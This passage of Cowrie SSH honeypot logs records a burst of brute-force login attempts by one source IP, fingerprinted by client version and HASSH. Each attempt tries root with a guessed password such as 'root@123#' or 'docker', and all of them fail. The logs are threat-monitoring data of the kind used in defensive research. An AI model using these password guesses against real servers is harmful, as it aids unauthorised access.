fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:21.203829Z","src_ip":"60.165.124.241","session":"d0cfd938dc76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qazxsw2","message":"login attempt [root/!Qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:21.932579Z","src_ip":"60.165.124.241","session":"d0cfd938dc76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:23.173316Z","src_ip":"60.165.124.241","session":"d0cfd938dc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51606,"dst_ip":"10.17.0.5","dst_port":22,"session":"13727e8f348e","protocol":"ssh","message":"New connection: 60.165.124.241:51606 (10.17.0.5:22) [session: 13727e8f348e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:23.405703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:23.410633Z","src_ip":"60.165.124.241","session":"13727e8f348e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:23.648214Z","src_ip":"60.165.124.241","session":"13727e8f348e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123#","message":"login attempt [root/root@123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:24.370961Z","src_ip":"60.165.124.241","session":"13727e8f348e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:25.611273Z","src_ip":"60.165.124.241","session":"13727e8f348e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54510,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c0d4d4b5c38","protocol":"ssh","message":"New connection: 60.165.124.241:54510 (10.17.0.5:22) [session: 7c0d4d4b5c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:25.846048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:25.851280Z","src_ip":"60.165.124.241","session":"7c0d4d4b5c38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:26.089461Z","src_ip":"60.165.124.241","session":"7c0d4d4b5c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234.Com","message":"login attempt [root/1234.Com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:26.809567Z","src_ip":"60.165.124.241","session":"7c0d4d4b5c38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:28.051520Z","src_ip":"60.165.124.241","session":"7c0d4d4b5c38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57144,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e1949fe1404","protocol":"ssh","message":"New connection: 60.165.124.241:57144 (10.17.0.5:22) [session: 9e1949fe1404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:28.289026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:28.295711Z","src_ip":"60.165.124.241","session":"9e1949fe1404","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:28.534389Z","src_ip":"60.165.124.241","session":"9e1949fe1404","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:29.260830Z","src_ip":"60.165.124.241","session":"9e1949fe1404","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:30.502806Z","src_ip":"60.165.124.241","session":"9e1949fe1404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60082,"dst_ip":"10.17.0.5","dst_port":22,"session":"55ac1c7b4427","protocol":"ssh","message":"New connection: 60.165.124.241:60082 (10.17.0.5:22) [session: 55ac1c7b4427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:30.736217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:30.741389Z","src_ip":"60.165.124.241","session":"55ac1c7b4427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:30.989807Z","src_ip":"60.165.124.241","session":"55ac1c7b4427","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aaaa12#$","message":"login attempt [root/Aaaa12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:31.739449Z","src_ip":"60.165.124.241","session":"55ac1c7b4427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:32.984885Z","src_ip":"60.165.124.241","session":"55ac1c7b4427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34742,"dst_ip":"10.17.0.5","dst_port":22,"session":"06b562786f2f","protocol":"ssh","message":"New connection: 60.165.124.241:34742 (10.17.0.5:22) [session: 06b562786f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:33.258871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:33.266273Z","src_ip":"60.165.124.241","session":"06b562786f2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:33.520687Z","src_ip":"60.165.124.241","session":"06b562786f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdzxc321","message":"login attempt [root/asdzxc321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:34.283937Z","src_ip":"60.165.124.241","session":"06b562786f2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:35.549874Z","src_ip":"60.165.124.241","session":"06b562786f2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37616,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a320a25a034","protocol":"ssh","message":"New connection: 60.165.124.241:37616 (10.17.0.5:22) [session: 1a320a25a034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:35.805207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:35.810578Z","src_ip":"60.165.124.241","session":"1a320a25a034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:36.070929Z","src_ip":"60.165.124.241","session":"1a320a25a034","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa12345+","message":"login attempt [root/Aa12345+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:36.854847Z","src_ip":"60.165.124.241","session":"1a320a25a034","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:38.110018Z","src_ip":"60.165.124.241","session":"1a320a25a034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40512,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4c13b52990e","protocol":"ssh","message":"New connection: 60.165.124.241:40512 (10.17.0.5:22) [session: c4c13b52990e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:38.341061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:38.347655Z","src_ip":"60.165.124.241","session":"c4c13b52990e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:38.595085Z","src_ip":"60.165.124.241","session":"c4c13b52990e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"penis123","message":"login attempt [root/penis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:39.345301Z","src_ip":"60.165.124.241","session":"c4c13b52990e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:40.594712Z","src_ip":"60.165.124.241","session":"c4c13b52990e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43410,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aabc72c3df1","protocol":"ssh","message":"New connection: 60.165.124.241:43410 (10.17.0.5:22) [session: 8aabc72c3df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:40.835074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:40.839754Z","src_ip":"60.165.124.241","session":"8aabc72c3df1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:41.085340Z","src_ip":"60.165.124.241","session":"8aabc72c3df1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456!!!","message":"login attempt [root/Aa123456!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:41.810458Z","src_ip":"60.165.124.241","session":"8aabc72c3df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:43.050663Z","src_ip":"60.165.124.241","session":"8aabc72c3df1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46360,"dst_ip":"10.17.0.5","dst_port":22,"session":"9048bd05745a","protocol":"ssh","message":"New connection: 60.165.124.241:46360 (10.17.0.5:22) [session: 9048bd05745a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:43.284246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:43.287987Z","src_ip":"60.165.124.241","session":"9048bd05745a","protocol":"ssh"}
